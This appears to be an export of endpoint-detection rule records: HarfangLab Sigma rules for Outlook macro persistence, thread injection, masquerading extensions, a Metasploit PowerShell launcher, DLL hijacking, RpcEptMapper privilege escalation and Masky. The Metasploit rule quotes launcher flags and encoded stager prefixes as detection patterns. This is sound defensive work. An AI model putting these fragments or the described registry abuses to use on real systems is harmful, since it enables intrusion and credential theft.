+  "content": "title: Outlook Configuration Changed to Allow Macro Execution on Startup\nid: ef105561-121c-4adb-8707-a231a60db162\ndescription: |\n    Detects a modification of the Outlook configuration to allow macro code execution on startup.\n    If the value is set to 1, VBA code from files located in %appdata%\\Microsoft\\Outlook\\ is executed on startup.\n    It is recommended to determine if this is a wanted action by the system administrator or third party software, and if so, to whitelist the product or script responsible for the action.\n    If it is part of a persistence attempt, it is recommended to revert the configuration change and to look for other suspicious actions on the host.\nreferences:\n    - https://www.zscaler.com/blogs/security-research/apt28-leverages-cve-2026-21509-operation-neusploit\n    - https://attack.mitre.org/techniques/T1137/\ndate: 2026/02/03\nmodified: 2026/02/16\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1137\n    - attack.t1112\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.Persistence\n    - classification.Windows.Behavior.Exploitation\n    - classification.Windows.Behavior.SystemModification\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject: 'HKU\\S*\\Software\\Microsoft\\Office\\\\*\\Outlook\\LoadMacroProviderOnBoot'\n        Details: 'DWORD (0x00000001)'\n\n    exclusion_ivanti:\n        ProcessImage: '?:\\Program Files (x86)\\Ivanti\\Workspace Control\\pwrgrid.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Ivanti, Inc.'\n\n    exclusion_setuphost:\n        ProcessImage: '?:\\$WINDOWS.~BT\\Sources\\SetupHost.exe'\n\n    exclusion_loadstate:\n        ProcessOriginalFileName: 'LoadState.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Corporation'\n\n    exclusion_office:\n        ProcessOriginalFileName:\n            - 'Outlook.exe'\n            - 'WinWord.exe'\n            - 'MSACCESS.EXE'\n            - 'Excel.exe'\n            - 'POWERPNT.EXE'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Corporation'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "ef105561-121c-4adb-8707-a231a60db162",
+  "rule_name": "Outlook Configuration Changed to Allow Macro Execution on Startup",
+  "rule_description": "Detects a modification of the Outlook configuration to allow macro code execution on startup.\nIf the value is set to 1, VBA code from files located in %appdata%\\Microsoft\\Outlook\\ is executed on startup.\nIt is recommended to determine if this is a wanted action by the system administrator or third party software, and if so, to whitelist the product or script responsible for the action.\nIf it is part of a persistence attempt, it is recommended to revert the configuration change and to look for other suspicious actions on the host.\n",
+  "rule_creation_date": "2026-02-03",
+  "rule_modified_date": "2026-02-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112",
+    "attack.t1137"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "ef1115af-eb3a-4fbd-9cc9-66401a672e40",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.071328Z",
+  "creation_date": "2026-03-23T11:45:34.071330Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.071335Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1055/"
+  ],
+  "name": "t1055_suspicious_remote_thread_uncommon_process.yml",
+  "content": "title: Suspicious Remote Thread Created from Uncommon Process\nid: ef1115af-eb3a-4fbd-9cc9-66401a672e40\ndescription: |\n    Detects remote threads that are not mapped to a legitimate DLL/executable and created in an uncommon process.\n    Adversaries may inject malicious code in web browsers (ie. Firefox, Chrome, Edge...) or in LSASS to steal sensitive information such as credentials. If the thread is injected in another process, it could be an attempt at performing malicious activity within a legitimate process.\n    It is recommended to investigate the process injecting the thread and the injected process for suspicious activity such as uncommon network connections or child processes.\nreferences:\n    - https://attack.mitre.org/techniques/T1055/\ndate: 2023/12/11\nmodified: 2025/01/31\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1055\n    - classification.Windows.Source.Thread\n    - classification.Windows.Behavior.ProcessInjection\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: remote_thread\ndetection:\n    selection:\n        SourceImage|endswith:\n            # Office\n            - '\\winword.exe'\n            - '\\excel.exe'\n            - '\\powerpnt.exe'\n            - '\\outlook.exe'\n            # Web browsers\n            - '\\chrome.exe'\n            - '\\msedge.exe'\n            - '\\firefox.exe'\n            - '\\iexplore.exe'\n            - '\\plugin-container.exe'\n            # Adobe\n            - '\\acrobat.exe'\n            - '\\AcroCEF.exe'\n            # Web servers\n            - '\\w3wp.exe'\n            - '\\httpd.exe'\n            - '\\apache.exe'\n            - '\\mysql.exe'\n\n    filter_module:\n        StartModule|contains:\n            - '.dll'\n            - '.exe'\n            - '.com'\n\n    exclusion_firefox_flash:\n        SourceImage|endswith: '\\firefox.exe'\n        TargetImage|contains:\n            - 'FlashPlayerPlugin'\n            - 'pingsender.exe'\n\n    exclusion_edge:\n        SourceImage|endswith: '\\Microsoft\\Edge\\Application\\msedge.exe'\n        TargetImage|endswith: '\\Microsoft\\Edge\\Application\\msedge.exe'\n\n    exclusion_chrome:\n        SourceImage|endswith: '\\Google\\Chrome\\Application\\chrome.exe'\n        TargetImage|endswith: '\\Google\\Chrome\\Application\\chrome.exe'\n\n    # TargetProcess fields not yet available\n    # exclusion_chrome_smime:\n    #     TargetProcessCommandLine|contains: 'SmimeOutlookWebChrome\\Microsoft.Outlook.StdioListeningNativeApp.exe'\n    #     TargetImage|endswith: '\\cmd.exe'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "ef1115af-eb3a-4fbd-9cc9-66401a672e40",
+  "rule_name": "Suspicious Remote Thread Created from Uncommon Process",
+  "rule_description": "Detects remote threads that are not mapped to a legitimate DLL/executable and created in an uncommon process.\nAdversaries may inject malicious code in web browsers (ie. Firefox, Chrome, Edge...) or in LSASS to steal sensitive information such as credentials. If the thread is injected in another process, it could be an attempt at performing malicious activity within a legitimate process.\nIt is recommended to investigate the process injecting the thread and the injected process for suspicious activity such as uncommon network connections or child processes.\n",
+  "rule_creation_date": "2023-12-11",
+  "rule_modified_date": "2025-01-31",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "ef8015cf-cdc5-4872-ba60-ed79840c063e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.069753Z",
+  "creation_date": "2026-03-23T11:45:34.069755Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.069760Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/tactics/TA0002/",
+    "https://attack.mitre.org/techniques/T1564/"
+  ],
+  "name": "t1564_suspicious_executable_extension.yml",
+  "content": "title: Process Executed with Suspicious File Extension\nid: ef8015cf-cdc5-4872-ba60-ed79840c063e\ndescription: |\n    Detects execution of an executable with a suspicious extension.\n    Attackers may rename executable files with benign extension to hide malicious payloads as legitimate files.\n    This technique can also be used to lure users into clicking on the file that would then be executed using another technique (e.g default application tampering).\n    It is recommended to analyze the parent and child processes to look for malicious content or actions.\n    It is also recommended to investigate the process responsible for writing the file to disk.\nreferences:\n    - https://attack.mitre.org/tactics/TA0002/\n    - https://attack.mitre.org/techniques/T1564/\ndate: 2021/10/13\nmodified: 2025/01/30\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.execution\n    - attack.t1564\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.Masquerading\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        Image|endswith:\n            - '.txt'\n            - '.pdf'\n            - '.doc'\n            - '.docx'\n            - '.ppt'\n            - '.pptx'\n            - '.iso'\n            - '.xls'\n            - '.xlsx'\n            - '.xlsm'\n            - '.zip'\n            - '.rar'\n            - '.7z'\n            - '.pdf.scr' # https://twitter.com/ankit_anubhav/status/1552325050212093953\n\n    condition: selection\nlevel: critical\n# level: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "ef8015cf-cdc5-4872-ba60-ed79840c063e",
+  "rule_name": "Process Executed with Suspicious File Extension",
+  "rule_description": "Detects execution of an executable with a suspicious extension.\nAttackers may rename executable files with benign extension to hide malicious payloads as legitimate files.\nThis technique can also be used to lure users into clicking on the file that would then be executed using another technique (e.g default application tampering).\nIt is recommended to analyze the parent and child processes to look for malicious content or actions.\nIt is also recommended to investigate the process responsible for writing the file to disk.\n",
+  "rule_creation_date": "2021-10-13",
+  "rule_modified_date": "2025-01-30",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1564"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "ef915928-c4a8-4228-9280-d6772e046120",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.073208Z",
+  "creation_date": "2026-03-23T11:45:34.073210Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.073214Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/rapid7/metasploit-framework/blob/b0455d36e3a1e7c687d3358526e727586d5d4ccc/modules/exploits/windows/smb/psexec.rb#L134",
+    "https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/exploit/smb/client/psexec.rb#L255",
+    "https://attack.mitre.org/techniques/T1059/001/"
+  ],
+  "name": "t1059_001_metasploit_powershell_launcher.yml",
+  "content": "title: Metasploit PowerShell Launcher Detected\nid: ef915928-c4a8-4228-9280-d6772e046120\ndescription: |\n    Detects suspicious PowerShell script block patterns that are related to the Metasploit Attack Framework.\n    Metasploit is a widely-used penetration testing and exploitation framework that provides tools for vulnerability assessment, exploitation, privilege escalation, and post-exploitation activities.\n    It is recommended to investigate the PowerShell script, terminate associated processes, and conduct memory analysis.\nreferences:\n    - https://github.com/rapid7/metasploit-framework/blob/b0455d36e3a1e7c687d3358526e727586d5d4ccc/modules/exploits/windows/smb/psexec.rb#L134\n    - https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/exploit/smb/client/psexec.rb#L255\n    - https://attack.mitre.org/techniques/T1059/001/\ndate: 2020/11/03\nmodified: 2025/04/10\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1059.001\n    - attack.t1569.002\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Framework.Metasploit\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_1:\n        - Image|endswith: '\\powershell.exe'\n        - OriginalFileName: 'PowerShell.EXE'\n    selection_2:\n        # \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -nop -w hidden -noni -e <some_hex>\n        # \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -noni -nop -w hidden -e <some_hex>\n        CommandLine|contains: ' -nop -w hidden '\n    selection_3:\n        CommandLine|contains:\n            # Hx4sIA = Gzip Magic in base64\n            # Handle POWERSHELL:encode_final_payload being active or not.\n            - \" -c &([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String('H4sIA\"\n            # Same as previous line but with POWERSHELL:encode_inner_payload = true\n            - '-e JgAoAFsAcwBjAHIAaQBwAHQAYgBsAG8AYwBrAF0AOgA6AGMAcgBlAGEAdABlACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBIADQAcwBJAEEA'\n    condition: all of selection_*\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "ef915928-c4a8-4228-9280-d6772e046120",
+  "rule_name": "Metasploit PowerShell Launcher Detected",
+  "rule_description": "Detects suspicious PowerShell script block patterns that are related to the Metasploit Attack Framework.\nMetasploit is a widely-used penetration testing and exploitation framework that provides tools for vulnerability assessment, exploitation, privilege escalation, and post-exploitation activities.\nIt is recommended to investigate the PowerShell script, terminate associated processes, and conduct memory analysis.\n",
+  "rule_creation_date": "2020-11-03",
+  "rule_modified_date": "2025-04-10",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.001",
+    "attack.t1569.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "ef941845-bc17-47b0-ad9a-b00bef1d37b2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.596942Z",
+  "creation_date": "2026-03-23T11:45:34.596948Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.596969Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://twitter.com/an0n_r0/status/1544472352657915904",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_diskraid.yml",
+  "content": "title: DLL Hijacking via diskraid.exe\nid: ef941845-bc17-47b0-ad9a-b00bef1d37b2\ndescription: |\n    Detects potential Windows DLL Hijacking via diskraid.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://twitter.com/an0n_r0/status/1544472352657915904\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'diskraid.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\version.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "ef941845-bc17-47b0-ad9a-b00bef1d37b2",
+  "rule_name": "DLL Hijacking via diskraid.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via diskraid.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "efc62da6-bd3f-4a4e-9396-c110c97ca805",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.626371Z",
+  "creation_date": "2026-03-23T11:45:34.626373Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.626378Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://itm4n.github.io/windows-registry-rpceptmapper-eop/",
+    "https://blog.0patch.com/2020/11/0day-in-windows-7-and-server-2008-r2.html",
+    "https://attack.mitre.org/techniques/T1574/011/"
+  ],
+  "name": "t1574_011_registry_services_insecure_permission_performance.yml",
+  "content": "title: RpcEptMapper Insecure Permissions Exploited\nid: efc62da6-bd3f-4a4e-9396-c110c97ca805\ndescription: |\n    Detects the exploitation of the Windows RpcEptMapper Service Insecure Registry Permissions vulnerability.\n    This is an Elevation of Privilege (EoP) flaw that arises from improper permissions set on certain Windows registry keys associated with the RpcEptMapper (RPC Endpoint Mapper) service.\n    This rule detects when a value is written under the Performance subkey in Dnscache or RpcEptMapper (insecure registry keys in win7 / 2008 R2).\n    It is recommended to investigate the registry modification to determine its legitimacy and the process making the registry modification for other suspicious behavior.\nreferences:\n    - https://itm4n.github.io/windows-registry-rpceptmapper-eop/\n    - https://blog.0patch.com/2020/11/0day-in-windows-7-and-server-2008-r2.html\n    - https://attack.mitre.org/techniques/T1574/011/\ndate: 2020/11/27\nmodified: 2025/03/07\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.011\n    - attack.defense_evasion\n    - attack.t1112\n    - classification.Windows.Source.Registry\n    - classification.Windows.Exploit.RpcEptMapper\n    - classification.Windows.Behavior.PrivilegeEscalation\n    - classification.Windows.Behavior.SystemModification\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection_set:\n        EventType: 'SetValue'\n        TargetObject:\n            - '*\\Services\\Dnscache\\Performance\\\\*'\n            - '*\\Services\\RpcEptMapper\\Performance\\\\*'\n\n    filter_empty:\n        Details: '(Empty)'\n\n    selection_rename:\n        EventType: 'RenameKey'\n        NewName:\n            - '*\\Services\\Dnscache\\Performance\\\\*'\n            - '*\\Services\\RpcEptMapper\\Performance\\\\*'\n\n    exclusion_dword:\n        Details: 'DWORD (0x????????)'\n\n    exclusion_performance:\n        TargetObject: '*\\Services\\\\*\\Performance\\Disable Performance Counters'\n\n    condition: ((selection_set and not filter_empty) or selection_rename) and not 1 of exclusion_*\nlevel: high\n# level: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "efc62da6-bd3f-4a4e-9396-c110c97ca805",
+  "rule_name": "RpcEptMapper Insecure Permissions Exploited",
+  "rule_description": "Detects the exploitation of the Windows RpcEptMapper Service Insecure Registry Permissions vulnerability.\nThis is an Elevation of Privilege (EoP) flaw that arises from improper permissions set on certain Windows registry keys associated with the RpcEptMapper (RPC Endpoint Mapper) service.\nThis rule detects when a value is written under the Performance subkey in Dnscache or RpcEptMapper (insecure registry keys in win7 / 2008 R2).\nIt is recommended to investigate the registry modification to determine its legitimacy and the process making the registry modification for other suspicious behavior.\n",
+  "rule_creation_date": "2020-11-27",
+  "rule_modified_date": "2025-03-07",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112",
+    "attack.t1574.011"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "efc91ffa-0729-42e4-9e4d-f33d607c09e4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.074343Z",
+  "creation_date": "2026-03-23T11:45:34.074345Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.074350Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://z4ksec.github.io/posts/masky-release-v0.0.3/",
+    "https://github.com/Z4kSec/Masky",
+    "https://attack.mitre.org/techniques/T1003/"
+  ],
+  "name": "t1003_masky_malicious_tool_execution.yml",
+  "content": "title: Masky Execution\nid: efc91ffa-0729-42e4-9e4d-f33d607c09e4\ndescription: |\n    Detects an execution of Masky.\n    Masky is an offensive open-source tool used to remotely dump domain users' credentials exploiting an ADCS (Active Directory Certificate Services) server.\n    It is recommended to investigate the activity surrounding this action to determine its maliciousness and to verify that this is not part of an active security audit in your organization.\nreferences:\n    - https://z4ksec.github.io/posts/masky-release-v0.0.3/\n    - https://github.com/Z4kSec/Masky\n    - https://attack.mitre.org/techniques/T1003/\ndate: 2022/09/12\nmodified: 2025/04/17\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1003\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.HackTool.Masky\n    - classification.Windows.Behavior.CredentialAccess\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        - Image|endswith: '\\Masky.exe'\n        - OriginalFileName: 'Masky.exe'\n\n    condition: selection\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "efc91ffa-0729-42e4-9e4d-f33d607c09e4",
+  "rule_name": "Masky Execution",
+  "rule_description": "Detects an execution of Masky.\nMasky is an offensive open-source tool used to remotely dump domain users' credentials exploiting an ADCS (Active Directory Certificate Services) server.\nIt is recommended to investigate the activity surrounding this action to determine its maliciousness and to verify that this is not part of an active security audit in your organization.\n",
+  "rule_creation_date": "2022-09-12",
+  "rule_modified_date": "2025-04-17",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "efd4b774-b093-4772-891d-c34efe568c6e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.098892Z",
+  "creation_date": "2026-03-23T11:45:34.098894Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.098898Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://lab52.io/blog/dll-side-loading-through-iobit-against-colombia/",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
